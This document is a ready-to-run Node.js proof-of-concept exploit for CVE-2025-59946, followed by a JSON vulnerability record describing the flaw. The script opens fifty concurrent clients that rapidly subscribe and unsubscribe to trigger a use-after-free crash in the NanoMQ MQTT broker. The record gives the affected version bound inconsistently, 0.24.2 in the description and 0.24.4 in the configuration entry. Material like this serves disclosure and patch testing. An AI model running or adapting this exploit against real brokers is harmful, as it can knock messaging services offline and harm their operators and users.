CVE-2025-59946

// CVE-2025-59946 PoC: NanoMQ Data Race on Subscription List // This PoC demonstrates triggering the race condition through concurrent MQTT operations const mqtt = require('mqtt'); const NANO_MQ_HOST = process.env.NANO_MQ_HOST || 'localhost'; const NANO_MQ_PORT = process.env.NANO_MQ_PORT || 1883; const NUM_CLIENTS = 50; const ITERATIONS = 100; async function rapidSubscribeUnsubscribe(clientId) { const client = mqtt.connect(`mqtt://${NANO_MQ_HOST}:${NANO_MQ_PORT}`, { clientId: `poc_client_${clientId}`, clean: true }); return new Promise((resolve, reject) => { let count = 0; client.on('connect', () => { // Rapidly subscribe and unsubscribe to trigger race condition const interval = setInterval(() => { if (count >= ITERATIONS) { clearInterval(interval); client.end(); resolve(); return; } // Subscribe to random topics const topic = `test/topic/${Math.floor(Math.random() * 10)}`; client.subscribe(topic, { qos: 0 }, (err) => { if (err) console.error(`[${clientId}] Subscribe error:`, err.message); }); // Immediately unsubscribe setTimeout(() => { client.unsubscribe(topic, (err) => { if (err) console.error(`[${clientId}] Unsubscribe error:`, err.message); }); }, 1); count++; }, 5); // High frequency to increase race condition probability }); client.on('error', (err) => { console.error(`[${clientId}] Client error:`, err.message); resolve(); }); client.on('close', () => { // Connection closed unexpectedly - potential crash indicator console.log(`[${clientId}] Connection closed`); }); }); } async function runPoC() { console.log(`[*] Starting CVE-2025-59946 PoC against ${NANO_MQ_HOST}:${NANO_MQ_PORT}`); console.log(`[*] Launching ${NUM_CLIENTS} concurrent clients with ${ITERATIONS} iterations each`); const promises = []; for (let i = 0; i < NUM_CLIENTS; i++) { promises.push(rapidSubscribeUnsubscribe(i)); // Stagger client connections await new Promise(r => setTimeout(r, 50)); } await Promise.all(promises); console.log('[+] PoC execution completed'); console.log('[*] If NanoMQ crashes or shows heap-use-after-free errors, vulnerability is confirmed'); } runPoC().catch(console.error); // Note: For successful exploitation, target must be running NanoMQ < 0.24.2

{"cve": {"id": "CVE-2025-59946", "sourceIdentifier": "[email protected]", "published": "2025-12-27T01:15:41.880", "lastModified": "2026-01-30T21:14:23.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanoMQ MQTT Broker (NanoMQ) is an Edge Messaging Platform. Prior to version 0.24.2, there is a classical data racing issue about sub info list which could result in heap use after free crash. This issue has been patched in version 0.24.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.24.4", "matchCriteriaId": "49D249C2-C388-4669-8801-929898E7DEAC"}]}]}], "references": [{"url": "https://github.com/nanomq/nanomq/issues/1863", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/nanomq/nanomq/security/advisories/GHSA-xg37-23w7-72p5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}